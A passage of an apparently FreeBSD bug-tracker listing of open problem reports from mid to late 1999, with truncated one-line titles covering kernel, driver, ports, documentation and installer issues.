/usr/local/include:/usr/i o [1999/06/06] gnu/12046 markm Perl subsystem does not install all tutor a [1999/06/06] bin/12052 sh type builtin appends first path compon o [1999/06/06] kern/12053 fixes a few aio bugs, makes socket io bet o [1999/06/07] kern/12071 [PATCH] large scale IP aliasing o [1999/06/08] i386/12088 Enhancement to ed driver for Linksys 10/1 o [1999/06/09] kern/12095 [PATCH] Buggy ATAPI Zip Drive is not dete o [1999/06/09] bin/12107 Add switch to dump to support multiple du o [1999/06/10] i386/12113 ESS1688 support for VoxWare sound driver o [1999/06/10] bin/12115 pppd reports wrong connected duration wit o [1999/06/13] ports/12188 ports New port: pbs-2.1.11 (misc/PBS) a batch s o [1999/06/15] misc/12228 phantom /etc/security don't search in all the fil o [1999/06/16] gnu/12238 bc 1.04 crashes with long formula typed i o [1999/06/16] kern/12241 jkh Req: GENERIC includes bpf device o [1999/06/16] bin/12244 realpath() fails when there is no permiss o [1999/06/17] bin/12255 BIND 8.1.2 compilation error in IPv6 capa o [1999/06/17] bin/12263 hoek "more" problems with long filenames o [1999/06/18] bin/12280 jdp LD_IGNORE_MISSING_OBJECTS not honored for o [1999/06/18] kern/12281 active-filter option in pppd doesn't stop o [1999/06/20] bin/12308 LPD can't be told not to bind to a TCP po o [1999/06/21] conf/12324 jkh Sysinstall's fdisk partition editor is mi o [1999/06/21] ports/12325 asami Adds refetch functionallity to bsd.port.m o [1999/06/21] i386/12326 wdc flag 0x1000 (LBA addressing) prevents o [1999/06/21] kern/12333 ProAudio Spectrum sound card broken model o [1999/06/21] kern/12334 Some ProAudio SPectrum cards do not do DM o [1999/06/21] kern/12335 if_pn.c lacks bridging support; patch enc o [1999/06/22] conf/12342 /etc/hosts.allow must use numerical IP ad o [1999/06/22] bin/12357 [PATCH] allow route to create "proxy only o [1999/06/23] bin/12358 ken Patch: "camcontrol help" should go to std o [1999/06/23] bin/12375 mv(1) cannot inherit the file flags. o [1999/06/24] i386/12383 make release warns about /dev entries mak o [1999/06/26] bin/12398 fsck in free(): warning: pointer to wrong o [1999/06/27] kern/12409 add some more chipset models by NVidia to o [1999/06/27] bin/12421 sysinstall label fails o [1999/06/28] conf/12432 empty amd_flags causes start failure in r o [1999/06/30] bin/12461 it's handy to be able to send syslog mess o [1999/07/01] bin/12477 New fortune o [1999/07/02] docs/12486 mpp listing of (56) utilities in /bin:/sbin:/ o [1999/07/02] bin/12489 /sbin/route exits with 0 on some errors o [1999/07/02] ports/12490 joerg package xmine exits 1 with XawAsciiSource o [1999/07/03] kern/12495 3.1 install fails to detect Toshiba CDROM o [1999/07/05] ports/12518 ports New port: ifmail-os-2.14.7 o [1999/07/05] bin/12528 [PATCH] tip's "tipout" child doesn't alwa o [1999/07/06] kern/12543 [PATCH] cumulative error counters for fxp o [1999/07/07] bin/12545 kldload(8) should be more sensitive to er o [1999/07/07] ports/12548 asami New 'fecth-recursive(-list)' targets in p o [1999/07/12] kern/12609 At boottime NFS mounts on a 3.2 client fr s [1999/07/12] bin/12611 sheldonh /usr/bin/jot crashes with floating point o [1999/07/12] misc/12612 ncurses ash shipped with 3.2-R missing sy o [1999/07/13] ports/12624 ports New version of mxv which also works with o [1999/07/13] misc/12633 CMI8330 chip based integrated sound card o [1999/07/15] kern/12655 Kernel config file needs more commenting o [1999/07/16] kern/12668 The kernel clock goes slow with PLIP devi o [1999/07/18] kern/12697 Out of swap handling [PATCH] o [1999/07/20] bin/12712 release/Makefile: mounting /some/dir with o [1999/07/20] ports/12722 ports New port: AT&T's DjVu library for scanned o [1999/07/20] kern/12723 Unnecessary use of magic numbers in F_[SG o [1999/07/21] ports/12739 ports New port: AT&T's DjVu Netscape plug-in o [1999/07/22] kern/12764 luigi Patch for using x11amp with voxware (stol o [1999/07/22] misc/12765 cable problem: link down for de0 NICs. o [1999/07/22] bin/12768 billf Compilation warning for fortune.c o [1999/07/22] kern/12770 mount_msdos causes panic: kmem_malloc(134 o [1999/07/23] misc/12776 Add PAM hooks to rlogind and rshd f [1999/07/23] bin/12782 sheldonh xntpd doesn't handle interface aliases pr o [1999/07/24] bin/12789 Confusing error msg when dumping a filesy s [1999/07/25] bin/12801 sheldonh nvi infinite recursion with options "left o [1999/07/25] kern/12803 obrien patch to make xe driver's noise configura o [1999/07/25] bin/12806 `sh -e' doesn't parse multi-command lines o [1999/07/27] kern/12833 Support for TI1225 PCI to CardBus Bridge o [1999/07/28] kern/12855 panic:softdep_flushfiles:looping, caused a [1999/07/28] bin/12866 sheldonh [PATCH] RFE for /bin/ls to add a -n optio o [1999/07/30] misc/12887 Problem with "top" command in SMP o [1999/07/30] misc/12888 strange kernel messages when copying file o [1999/07/31] kern/12896 Incorrect CPU model display at boot time o [1999/07/31] bin/12898 Added a command-line switch to netstat to o [1999/08/01] ports/12915 ache Add elm 2.5 to ports o [1999/08/02] docs/12933 n_hibma sio.4 misses description of 0x0080 flag o [1999/08/03] bin/12939 add flag to quota to suppress NFS quota c o [1999/08/03] bin/12942 m4: len(`') returns `' a [1999/08/03] kern/12943 dg fxp driver not completely compatible with o [1999/08/03] bin/12946 top(1) gives incorrect delay default o [1999/08/04] ports/12952 asami make _PORT_USE touch cookies by variable, o [1999/08/04] bin/12957 rpc.rusersd dumps core with signal 11 whe o [1999/08/04] bin/12960 des basename(3) and dirname(3) o [1999/08/04] bin/12962 des basename(3) and dirname(3) part 2 o [1999/08/04] kern/12966 receiver lockups in vr0 driver o [1999/08/05] bin/12982 last does not support -y option. o [1999/08/05] misc/12983 system hang accessing mounted msdos flopp o [1999/08/05] misc/12992 sector size independent patch for msdosfs o [1999/08/05] i386/12993 gibbs "ahc0: Data Parity Error Detected during o [1999/08/05] docs/12994 hoek Update to getopt.3 to agree with style.9 o [1999/08/06] bin/13000 vi core dumped o [1999/08/06] ports/13006 erich update emulators/x48 to 0.4.1d o [1999/08/07] conf/13016 Wrong sendmail.cf file used by mergemaste o [1999/08/07] docs/13020 mpp Manpage capitalization o [1999/08/08] docs/13034 peter incorrect (old/obsolete) manpage for name o [1999/08/08] misc/13036 de doesn't work with DEC 21143 based PCI o [1999/08/09] bin/13042 make doesn't handle wildcards in subdirec o [1999/08/09] bin/13043 minigzip -c option support. o [1999/08/09] i386/13051 after installation on system using COM1, o [1999/08/10] kern/13062 lnc ethernet xmit underflow problem o [1999/08/11] bin/13068 billf Don't stamp out score files! o [1999/08/11] bin/13072 billf Extensions to biff(1) o [1999/08/11] bin/13073 billf Extensions to mesg(1) o [1999/08/11] docs/13079 mpp new man page describing timeradd() family o [1999/08/11] kern/13082 dfr Improved support for NE2000 PnP cards o [1999/08/12] bin/13092 des Fetch doesn't default to the correct http o [1999/08/12] bin/13108 authunix_create_default includes egid twi o [1999/08/13] docs/13116 doc typo in ms(7) o [1999/08/13] ports/13124 ports New port: LinAlg; request for local hosti o [1999/08/13] bin/13128 billf pkg_delete doesn't handle absolute pathna o [1999/08/15] kern/13161 alfred mounting on top of a mounted file system o [1999/08/15] kern/13164 kthread_exit stops, but doesn't release p o [1999/08/15] ports/13167 torstenb [PATCH] security/ssh package keygen fails o [1999/08/15] i386/13171 "config" not quite right for kernel not n o [1999/08/16] ports/13173 ports New port: yiff-0.33 o [1999/08/16] misc/13185 "tengo problemas con el pop3" o [1999/08/17] ports/13191 ports New port: fire-1.0 o [1999/08/17] kern/13209 IPFILTER_DEFAULT_BLOCK not in /usr/src/sy o [1999/08/17] docs/13211 chris [LIST] Some man pages has references to n o [1999/08/17] kern/13215 ALPS GlidePoint in Sony Z505 not recogniz o [1999/08/18] docs/13218 mpp Many manpages still not conformed mdoc(7) o [1999/08/18] kern/13220 mkdep: compile failed - ../../pci/if_de.c o [1999/08/18] kern/13232 panic("rtfree"); when sending bootp reque o [1999/08/18] conf/13249 jkh sysinstall not installing from a local ft o [1999/08/18] ports/13251 ports New port: founts-11 s [1999/08/19] kern/13252 niced jobs don't behave really nice o [1999/08/19] bin/13254 yp_all error messages have wrong text o [1999/08/20] misc/13266 Removal of #defines and addition of const o [1999/08/20] bin/13278 rogue: killed by fire corrupts score file o [1999/08/20] misc/13282 partial compliance of dlopen to the Singl o [1999/08/21] ports/13291 ports New port: xap-xwf-0.7.8 o [1999/08/21] bin/13309 Fixes to nos-tun o [1999/08/22] misc/13326 additional timeval interfaces for 512MB o [1999/09/21] ports/13887 taoka New port (fmirror) o [1999/09/22] misc/13895 nonexistent words in /usr/share/dict/web2 o [1999/09/22] ports/13898 obrien New port: misc/dictd o [1999/09/22] conf/13907 dummynet.4 correction, rc addition of o [1999/09/22] docs/13914 doc global(1) manpage does not explain -v opt o [1999/09/23] conf/13916 mpp man outputs footer only page as first pag o [1999/09/23] conf/13918 Termcap entries for VESA modes missing o [1999/09/23] gnu/13921 awk -v var=val coredump o [1999/09/23] kern/13924 sb/snd driver broken under 4.0-19990918-C o [1999/09/24] i386/13936 No clear indictaion of how much space to o [1999/09/25] docs/13950 doc webpage idea o [1999/09/25] docs/13967 doc FreeBSD Related Publications in Korea o [1999/09/26] kern/13979 [PATCH] add serial number to IDE HD probe o [1999/09/26] ports/13986 ports New port: sysutils/gnometoaster o [1999/09/26] gnu/13989 SIGWINCH corrupts the display of a multil o [1999/09/27] kern/14006 pas2_pcm.c pcm playback problem, with fix o [1999/09/28] docs/14024 doc Several manpages still mentions hosts.den o [1999/09/29] docs/14035 doc tzfile.h referenced in tzfile(5) doesn't o [1999/09/29] bin/14040 amd has wrong uname data compile in it o [1999/09/30] i386/14048 ``doscmd -r'' doesn't work o [1999/09/30] ports/14052 ports fvwm95-i18n - missing dependence to fbsd- o [1999/09/30] ports/14070 ports g2c libraries and compatibility for DJGPP o [1999/09/30] i386/14071 FreeBSD 3.3 Installation CD does not boot o [1999/10/01] ports/14077 ports Multicast not available on multicast enab o [1999/10/01] bin/14078 -stable 'make release' does not work on - o [1999/10/01] ports/14079 ports ssh2 port won't install if automake is in f [1999/10/01] kern/14083 gibbs CAM 3.3-RELEASE fails boot w/2940UW + non o [1999/10/02] kern/14087 dcs update sys/boot/ficl/softwords/softcore.a o [1999/10/02] ports/14088 ports port of new fvwm 2.3 beta (2.3.8) o [1999/10/03] misc/14099 jkh zh, ja, ru, es, files o [1999/10/03] ports/14100 sada New port: graphics/flashplugin o [1999/10/03] misc/14104 DISTFILES name clash between release/Make o [1999/10/04] docs/14129 phantom gated(8) and htable(8) as referenced in r o [1999/10/04] kern/14136 no mean 'OVERRIDE_xxx' o [1999/10/04] kern/14138 sos writing to ZIP 250MB drive bombs via ATAP o [1999/10/05] bin/14142 sendmail: mci.c: bad pointer conversion i o [1999/10/05] bin/14151 Patch: date(1): merge in OpenBSD enhancem o [1999/10/06] docs/14158 doc md5(1) manpage should not claim the md5 a o [1999/10/06] docs/14165 nbm FDP introduction article o [1999/10/06] kern/14166 AVER TVPhone o [1999/10/06] bin/14171 joe [PATCH] create symbolic links using mtree o [1999/10/07] bin/14175 route for ip aliasing o [1999/10/07] ports/14182 asami Patch: bsd.port.mk: add plist target o [1999/10/07] ports/14185 ports ports/x11-wm/fvwm2 updated from 2.2.2 to o [1999/10/07] alpha/14200 alpha kldstat command has formatting problems o o [1999/10/08] kern/14217 [PATCH] EXT2FS as a KLD o [1999/10/09] ports/14225 markm Patches for security/pgp5 o [1999/10/09] kern/14240 compilation error: __cmpdi2 unresolved o [1999/10/09] bin/14246 kvm_open and kvm_openfiles not works corr o [1999/10/10] docs/14253 doc Mistake in dhclient-script(8) man page o [1999/10/10] bin/14255 rup and rusers could not deal with many h o [1999/10/11] misc/14258 IP_TOS and IP_TTL sockopt doesn't work on o [1999/10/11] ports/14260 ports New port: WODA - A Web Oriented Database o [1999/10/11] misc/14263 phantom There ara no ukrainian locale in stable/c o [1999/10/11] i386/14266 vfsload() looks in /lkm, not /modules o [1999/10/11] misc/14269 NIS passwd and group maps do not clean ou o [1999/10/11] misc/14273 Somewhat bogus entry in termcap o [1999/10/12] ports/14280 kris port curl build flag USE_SSL does nothing o [1999/10/12] conf/14297 [Patch] pccard.conf for corega Ether PCC- o [1999/10/13] misc/14300 obrien MAKEDEV requires /usr to be mounted (for o [1999/10/13] bin/14305 ru natd should know FTP EPRT command o [1999/10/13] ports/14316 markm exmh not recognizing mh and uses too many o [1999/10/13] bin/14317 jkh sysintall: instructions to reboot don't m o [1999/10/13] bin/14318 jkh sysinstall upon install has some counter- o [1999/10/14] ports/14323 markm [PATCH] ports/security/pgp5: Invoked with o [1999/10/14] bin/14330 peter [PATCH] fix clash between /usr/src/contri o [1999/10/14] bin/14335 peter Manual page for ndc gives incorrect path o [1999/10/14] ports/14337 ports xdm and Eterm: tty allocation problem? o [1999/10/14] bin/14342 [PATCH] Speed ups for regex! o [1999/10/15] kern/14346 Both pccard/cardinfo.h and sys/memrange.h o [1999/10/15] kern/14350 Security enhancement to ICMP o [1999/10/15] kern/14355 perhaps a guard page needed for UP-mode k o [1999/10/15] kern/14356 grog vinum and ``some processes would not die; o [1999/10/16] bin/14361 locate bogusly converts to network byte o o [1999/10/17] ports/14378 ports New port: graphics/mpeg o [1999/10/17] ports/14379 ports New port: graphics/xmrm o [1999/10/17] kern/14380 [PATCH] if_de workaround for when BIOS do a [1999/10/17] ports/14382 billf New port: tkrat 2.0b3 o [1999/10/18] kern/14394 kernel panic when asking help in visual u o [1999/10/18] i386/14396 Floppy install of 3.2-release, 3.3-releas o [1999/10/19] misc/14428 jkh can't install from extended DOS partition o [1999/10/20] i386/14437 MFC'ed identcpu.c o [1999/10/20] i386/14438 additional CPUID bit definitions for iden o [1999/10/20] i386/14440 update to identcpu.c to "support" AMD K7' o [1999/10/21] bin/14448 ftp-client may not recognize failure, rep f [1999/10/23] docs/14460 jhb Fix broken links in the FAQ f [1999/10/23] conf/14463 phantom cvs pserver does not work with out-of-the f [1999/10/23] ports/14469 ports remove port: deskutils/recycler f [1999/10/23] ports/14471 ports remove port: deskutils/xcalendar f [1999/10/23] conf/14487 phantom Please Change "/usr/share/skel/dot.login" o [1999/10/23] misc/14488 kget doesn´t write the key word "enable" o [1999/10/24] ports/14499 torstenb update port irc/ircII to 4.4L o [1999/10/24] kern/14504 Framing Error on FreeBSD Laptop o [1999/10/25] misc/14511 chapss Y2K problem o [1999/10/25] ports/14515 ports New Tripwire 1.3 Port o [1999/10/25] conf/14522 dhclient incorrectly reads and sets hostn o [1999/10/25] docs/14530 doc Printed manual pages have extraneous blan o [1999/10/25] bin/14532 doc Much of cam_cdbparse(3) prints in Courier o [1999/10/25] bin/14533 pccardd improperly assigns irqs o [1999/10/25] bin/14534 mpp Formatting man pages gives numeric expres o [1999/10/26] bin/14545 quota reports in K, but header says 'bloc a [1999/10/27] kern/14561 ken ioctl (fd, CDIOCEJECT, (void*) 0) doesn't s [1999/10/27] kern/14562 ken ioctl() codes should be provided for ejec o [1999/10/27] docs/14563 doc Wrong manpage produced by `man 4 fd' o [1999/10/27] docs/14565 doc ioctl() codes for device type `fd' (flopp o [1999/10/27] i386/14574 ISA based ESS1688 support(partially) for o [1999/10/28] kern/14584 Proposition for improved file permissions s [1999/10/29] kern/14590 kernel panic writing to floppy f [1999/10/29] docs/14595 nbm The ipfw `log' suboption is not documente o [1999/10/29] misc/14599 pam_kerberosIV.so in the 'krb.??' package o [1999/10/29] kern/14602 struct utsname fields are allocated too s o [1999/10/31] kern/14634 Mixer synth & mixer CD seem to be swapped o [1999/10/31] kern/14639 convert proc.p_peers to a queue(3) LIST o [1999/11/01] ports/14643 ports A Chinese/English dictionary o [1999/11/01] ports/14644 vanilla A Big5-localized & XIM-enabled XEmacs por o [1999/11/01] kern/14646 kern.boottime affected by APM suspend/res o [1999/11/01] bin/14648 markm `make world' now requires -DNOCRYPT in my o [1999/11/01] ports/14652 se update emulators/wine to 991031 (supersed o [1999/11/02] gnu/14664 tar checks for volno-file even if it shou o [1999/11/02] docs/14677 chris listing of (48) utilities in /bin:/sbin:/ o [1999/11/03] docs/14682 doc lprm(1) unaware of lp(1) Environment Vari o [1999/11/03] ports/14686 ports New port: pisces IIB (Category: cad) o [1999/11/03] bin/14697 grog Exploitable buffer overflow in Vinum (Fre o [1999/11/04] misc/14706 jkh sysinstall coredumps o [1999/11/04] conf/14714 Need support for imap4 and pop3 in /etc/p o [1999/11/06] ports/14741 ports A summary of the old ispell-language-file o [1999/11/06] misc/14746 xf86config shell script leaves arrow keys o [1999/11/06] misc/14747 jkh can't install docs 'cause lynx isn't ther o [1999/11/07] ports/14760 asami bsd.port.mk: Speed-up for clean-depends o [1999/11/07] kern/14778 sio.c doesn't recognize USR model 3090 IS o [1999/11/08] ports/14783 jmz mgetty 1.1.12 always sets clocal o [1999/11/08] bin/14786 tail breaks on large files o [1999/11/08] conf/14791 Optionally change the behaviour of fsck u o [1999/11/08] i386/14793 more fdisk partition types o [1999/11/08] misc/14795 jkh Core Dump of /stand/sysinstall o [1999/11/09] i386/14800 FreeBSD BootMgr not configurable (or at l o [1999/11/10] conf/14810 [PATCH] initialising multiple interfaces o [1999/11/10] i386/14816 lnc(4) can work with Am79C937 a [1999/11/10] bin/14817 strptime(3) '%C' conversion incorrect o [1999/11/11] ports/14822 jfitz majordomo sets group-writable dir's o [1999/11/11] ports/14824 wosch no '\0' at the end of buffer o [1999/11/11] bin/14829 rc.shutdown is handled unconsistently by o [1999/11/12] kern/14839 RELENG_2_2 boot kernel is large size prob o [1999/11/12] kern/14840 Opti930 doesn't work. o [1999/11/12] kern/14841 adrian IEEE 802 encapsulation for arp on etherne o [1999/11/12] ports/14854 peter port comms/conserver partially ignores ${ f [1999/11/13] ports/14859 green OpenSSH has no support for the login clas o [1999/11/13] conf/14864 I can not get dual Boot to boot FreeBSD f o [1999/11/14] misc/14868 Freebsd 3.2-REL with 1 ISA PNP and 1 PCI o [1999/11/14] ports/14874 cpiazza Eterm 0.8.10 was released o [1999/11/14] ports/14889 se [PATCH] dynamic loading for WINE port o [1999/11/14] i386/14891 New smbus driver lmsmb o [1999/11/14] ports/14894 joerg comm/kermit some fixed patch o [1999/11/15] bin/14911 Install of opiekey missing links to otp-m o [1999/11/16] ports/14922 ports New port: net/infobot o [1999/11/16] ports/14924 markm p5-Apache-Radius with mod_perl broken on o [1999/11/16] bin/14925 getsubopt isn't poisonous enough o [1999/11/16] conf/14931 rc logging facility o [1999/11/16] ports/14933 imp Simple patch to log password attempts on o [1999/11/17] bin/14954 search.h is missing o [1999/11/17] ports/14965 wosch stat port doesn't know fifo file type o [1999/11/17] kern/14968 Convert resource_head and resource.r_link o [1999/11/17] ports/14970 peter conserver-7.4 port submission o [1999/11/18] conf/14973 Digi-multiport serial card? o [1999/11/18] conf/14974 In RELENG_3, fdisk reports sizes incorrec o [1999/11/18] ports/14977 peter conserver doesn't support speed over than f [1999/11/18] ports/14983 green OpenSSH, support for login.conf o [1999/11/18] ports/14986 torstenb possible bug in ssh1 o [1999/11/18] kern/14990 cg new-pcm caveats o [1999/11/18] ports/14991 ports Tcl Data transformations (Tcl-Trf) port o [1999/11/19] misc/14993 Freebsd Locks up when trying to set the h o [1999/11/19] misc/14999 phantom ISO8859-5 locale missing from RELENG_3 o [1999/11/19] misc/15000 ftp(1) needs to send HTTP/1.1 Host: heade o [1999/11/20] conf/15010 "client" firewall configuration kills inc o [1999/11/21] ports/15021 asami some port installs fail for non-root user o [1999/11/21] kern/15022 mjacob Suggestion for enhancement: move isp firm o [1999/11/21] ports/15035 jseger [Tcl/Tk] apply plus patch to Tcl/Tk8.2 o [1999/11/21] conf/15038 In sysinstall, easy to not notice that se o [1999/11/23] kern/15065 fsck can't fix "huge" zero length files s [1999/11/23] misc/15066 sheldonh ``allscreens_flags'' in rc.conf not docum o [1999/11/25] gnu/15091 add -I option to gnu groff and gnu soelim o [1999/11/25] kern/15095 TCP's advertised window is not scaled imm o [1999/11/26] ports/15102 obrien pgp5 port is broken under -CURRENT o [1999/11/26] ports/15108 jmz The print/latex port is thrashing the dis o [1999/11/27] i386/15119 pcm sound driver dma problems with isa-pn o [1999/11/27] misc/15127 _T is defined in ctype.h and breaks c++ l o [1999/11/27] ports/15128 dirk Php4 beta 3 o [1999/11/28] ports/15131 ports new port: devel/kpp o [1999/11/28] ports/15135 ports new port: devel/cervisia o [1999/11/28] ports/15142 jmz Added DIST_SUBDIR to print/tex port o [1999/11/28] ports/15147 ports New port: audio/xsidplay o [1999/11/28] ports/15155 mph update of p5-ReadLine-Perl to version 0.9 o [1999/11/28] ports/15159 ports new port: games/blackpenguin o [1999/11/28] ports/15160 ports new port: games/ksnes9x o [1999/11/29] misc/15168 Adding tracklist support to fdformat o [1999/11/29] kern/15175 tcp_input() fails to update m->m_pkthdr.l o [1999/11/30] bin/15182 "* Wed-1 event" in calendar produces "31 o [1999/11/30] ports/15192 ports Ident2 Daemon o [1999/11/30] misc/15196 shutdown -h no longer synching disks, thu o [1999/12/01] misc/15205 Addition to /usr/games/random o [1999/12/01] bin/15211 CFLAGS and CC not settable and one warnin o [1999/12/01] misc/15215 Outputting in Fortune under certain circu o [1999/12/02] i386/15218 kernel says: raw partition size != slice o [1999/12/02] kern/15221 marcel Linux emulator core dumps on setreuid() o [1999/12/02] bin/15227 sheldonh New option for vacation(1) -- dir to use o [1999/12/02] bin/15229 joe mtree - different from mtree in NetBSD 1. o [1999/12/02] docs/15234 mpp sh(1) man page have capitalised instance o [1999/12/03] ports/15239 asami fix MASTER_SITE_GNOME in bsd.port.mk: mi o [1999/12/03] ports/15246 ports New port: irc/gtk-bitchx o [1999/12/04] kern/15251 patch to add unsigned support to sysctl o [1999/12/04] docs/15259 obrien amd(8) refers to nonexistent automount(8) o [1999/12/05] kern/15280 kernel panic during FreeBSD install o [1999/12/05] bin/15285 unhelpful error message from brandelf o [1999/12/05] misc/15288 billf pkg_version -c output isn't safe for scri o [1999/12/05] ports/15294 jfitz Update port: mrgt from 2.8.8 to 2.8.9 o [1999/12/05] kern/15299 One more videocard (NVidia Vanta) o [1999/12/06] docs/15300 doc assorted update for FAQ o [1999/12/06] bin/15301 Bug in /usr/sbin/syslogd: strips 8th bits o [1999/12/06] misc/15304 billf proposed modifications to pkg_version f [1999/12/06] bin/15318 ru ifconfig dumps core s [1999/12/06] ports/15321 cpiazza Update port: textproc/freegrep o [1999/12/06] bin/15325 mpp nroff -man bombs out with more than eight o [1999/12/06] ports/15326 ache tcsh modification o [1999/12/07] ports/15329 cwt amanda24 modification o [1999/12/07] misc/15339 fdformat should exit non-zero when user c o [1999/12/07] ports/15341 jmz XF86Setup in CURRENT is broken on possibl o [1999/12/07] bin/15342 replacement for the stock /sbin/dhclient- o [1999/12/08] ports/15362 obrien mutt core dumps as soon as a key is press o [1999/12/08] ports/15367 ports new ports on linux emulator o [1999/12/09] bin/15371 keyinfo doesn't work without suidperl o [1999/12/09] ports/15387 billf ethereal's packet-smb.c calls str*() func o [1999/12/09] bin/15390 obrien Upgrade rdist to 6.1.5 o [1999/12/10] ports/15394 ports new port: japanese/kanji18, kanji26, ngra o [1999/12/10] docs/15408 doc Description of ls and nlist wrong in man o [1999/12/10] bin/15410 edquota -p copies current usage as well a o [1999/12/10] ports/15412 wes new port: shells/perlsh o [1999/12/10] ports/15413 wes new port: shells/flash o [1999/12/11] bin/15416 addr2line is unable to find line numbers o [1999/12/11] bin/15418 tput(1) doesn't work with new libncurses. o [1999/12/11] misc/15421 initgroups(3) spits out messages to stder o [1999/12/11] ports/15424 ports new port: www/kwebsearch o [1999/12/11] kern/15425 marcel statfs and fstatfs syscall in linux emula o [1999/12/11] docs/15429 doc Jewish calendar is out of date o [1999/12/12] ports/15434 ports new port: devel/kdevelop o [1999/12/12] kern/15435 Attempts to execute programs from a noexe o [1999/12/12] kern/15436 syscons extension: "propellers" o [1999/12/12] kern/15440 jasone support atomic locks in the UP kernel o [1999/12/12] kern/15448 Would be nice if the kernel could detect/ o [1999/12/12] kern/15455 dg Intel EtherExpress Pro does not properly o [1999/12/13] bin/15456 Usage of ktrace(1) is invalid a [1999/12/13] bin/15458 sort(1) doesn't sort correctly in some ca o [1999/12/13] ports/15461 jmacd Update of misc/xdelta port o [1999/12/13] ports/15469 ports New port: nethack-3.3.0 o [1999/12/13] bin/15470 Proposed change to comments in /etc/named o [1999/12/13] misc/15474 time server entry in /etc/services on fre o [1999/12/14] ports/15477 andreas wwwstat-2.01 port is not Y2K compliant: 1 o [1999/12/14] misc/15480 Change-request for /usr/src/usr.sbin/cdco o [1999/12/14] ports/15481 ports ports/devel/codecrusader slightly broken o [1999/12/14] i386/15488 Incorrect FPE_*_TRAP macros in machine/tr o [1999/12/14] kern/15489 running fstat causes a bus error o [1999/12/15] kern/15492 Patch to fixup bridging support for 2.2-S o [1999/12/15] kern/15493 Patch to enable bridging support for if_c o [1999/12/15] ports/15495 asami Add "addsum" target to bsd.port.mk o [1999/12/15] bin/15496 killall(1) limited to 16 character proces o [1999/12/15] bin/15497 NIS does not deal well with comments o [1999/12/15] ports/15505 chuckr Update math/gnuplot o [1999/12/15] bin/15510 df(1) does not lineup with large filesyst o [1999/12/15] kern/15511 Cannot scroll up after panic? o [1999/12/15] kern/15512 sos ATA driver bug for CD drives that don't r o [1999/12/16] ports/15516 ache rsaref distfile location changed o [1999/12/16] ports/15517 ports Port of newly released game nethack 3.3.0 o [1999/12/16] misc/15519 peter Lots of bind-8.2.2 manual pages don't get o [1999/12/17] i386/15528 doscmd exec function fail. o [1999/12/17] i386/15531 doscmd DOS function 0a fail when DL is 0 o [1999/12/17] kern/15532 Reboot just to kill a print job? o [1999/12/17] ports/15545 ports new port: x11/xterm o [1999/12/17] misc/15546 Need to enable LBA flag for large IDE dis o [1999/12/17] i386/15547 discmd function 51 ( get ps ) fail o [1999/12/18] gnu/15549 obrien Fix -fformat-extensions support code merg o [1999/12/18] ports/15552 ports new port (knode) o [1999/12/18] misc/15555 some enhancements for uudecode o [1999/12/19] bin/15561 doc regex(3) manpage needs update o [1999/12/20] bin/15593 [SECURITY] ustrcpy() buffer overflow in d o [1999/12/20] ports/15594 se kscd-1.2.7 in -STABLE ports not playing A o [1999/12/20] bin/15596 netstat -rn does'n fit on a 80 chars wide o [1999/12/20] docs/15600 doc Undocumented option in restore(8) o [1999/12/21] bin/15604 Typo in lpd.c o [1999/12/21] kern/15608 acd0 / cd0 give inconsistent errors on em o [1999/12/21] conf/15612 Re-Scan devices in 3.4-Release options me o [1999/12/21] i386/15619 standard pppd doesn't authenticate users o [1999/12/22] ports/15626 tom error description in MESSAGE o [1999/12/22] ports/15627 ports Update ports: Mew-1.94.1 o [1999/12/22] ports/15630 jmz [PATCH] math/lapack port partially broken o [1999/12/22] kern/15632 mss driver fails to recognize CS4239 on T o [1999/12/22] kern/15633 Joy driver fails to attach to CS joystick o [1999/12/22] ports/15634 ports upsd-2.0 package hangs 3.3-RELEASE o [1999/12/22] kern/15636 dillon reminder to self for MAP_ VM defines o [1999/12/23] ports/15647 ports MICO: doesn't compiles and mico-ld links o [1999/12/23] kern/15656 in_cksum computes wrong checksum o [1999/12/23] docs/15657 doc Document warning message in tunefs(8) o [1999/12/23] misc/15658 edquota misinterprets usernames as uid ra o [1999/12/23] docs/15661 doc Handbook doesn't properly document bootin o [1999/12/24] bin/15663 yokota none o [1999/12/24] docs/15664 imp a bug in src/UPDATING o [1999/12/24] bin/15667 jkh A bug when the pathname with some space o [1999/12/24] docs/15680 doc Xref hosts.equiv(5) from r* man pages o [1999/12/25] ports/15691 ports Ssh ports fail to check inetd.conf before o [1999/12/25] ports/15694 jseger emacs20 port updated to 20.5 o [1999/12/25] docs/15697 doc Outdated information about Sendmail's con o [1999/12/26] ports/15698 ports New port: misc/p5-I18N-Charset o [1999/12/26] ports/15699 ports New port: misc/p5-I18N-LangTags o [1999/12/26] ports/15702 tg New fix for lang/python to install python o [1999/12/26] ports/15704 ports New port: sysutils/p5-SyslogScan o [1999/12/26] ports/15705 ports New port for metakit-2.0 o [1999/12/26] ports/15706 ports NEW port: gweather o [1999/12/27] ports/15713 asami repository copy: vfxdvik -> xdvik-vflib o [1999/12/27] bin/15728 in /usr/sbin/lpc, the 'start queue' comma o [1999/12/27] docs/15729 doc Incorrect wording in manual page for msgs o [1999/12/28] ports/15734 ports make -i ignores fetch failure, results in o [1999/12/28] ports/15738 ports new port submission: heyu o [1999/12/28] bin/15739 repquota report format fix for better par o [1999/12/28] docs/15744 doc New item for HARDWARE.txt: DawiControl DC o [1999/12/28] pending/15745gnats-adminrc.network overrides mountd_flags rather o [1999/12/28] kern/15747 loader's builtin "more" command won't res o [1999/12/28] conf/15748 sysinstall - upgrade o [1999/12/28] bin/15758 obrien When compiling /usr/ports/graphics/aview, o [1999/12/29] ports/15761 ports New ports: XEmacs21-21.1 o [1999/12/29] ports/15762 ports New ports: XEmacs21META-21.1 o [1999/12/29] ports/15780 cpiazza wrong master site for aumix o [1999/12/30] docs/15781 doc mdoc.samples.7: formatting/typo fixes o [1999/12/30] misc/15782 kernel script handling breaks with perl o [1999/12/30] ports/15784 ache p5-URI port update o [1999/12/30] ports/15787 ports Kvt doesn't agree with MAKEDEV on pty num o [1999/12/31] conf/15792 can't make /dev/cd31 o [1999/12/31] ports/15795 ports new port: www/bkmrkconv o [1999/12/31] ports/15796 ports new port: net/dhcp_dns o [1999/12/31] ports/15799 ports new port: devel/flux o [1999/12/31] ports/15800 ports new port: games/kmud o [1999/12/31] ports/15802 ports new port: security/kssh o [1999/12/31] ports/15803 ports new port: games/krogue o [1999/12/31] ports/15804 ports new port: www/fhttpd o [1999/12/31] ports/15805 ports new port: mail/mreport o [1999/12/31] ports/15806 ports new port: astro/pyweather f [1999/12/31] ports/15807 cpiazza new port: games/rubix o [1999/12/31] misc/15809 New entry for the fortune(6) database o [1999/12/31] ports/15810 jfitz p5-Net port update o [1999/12/31] 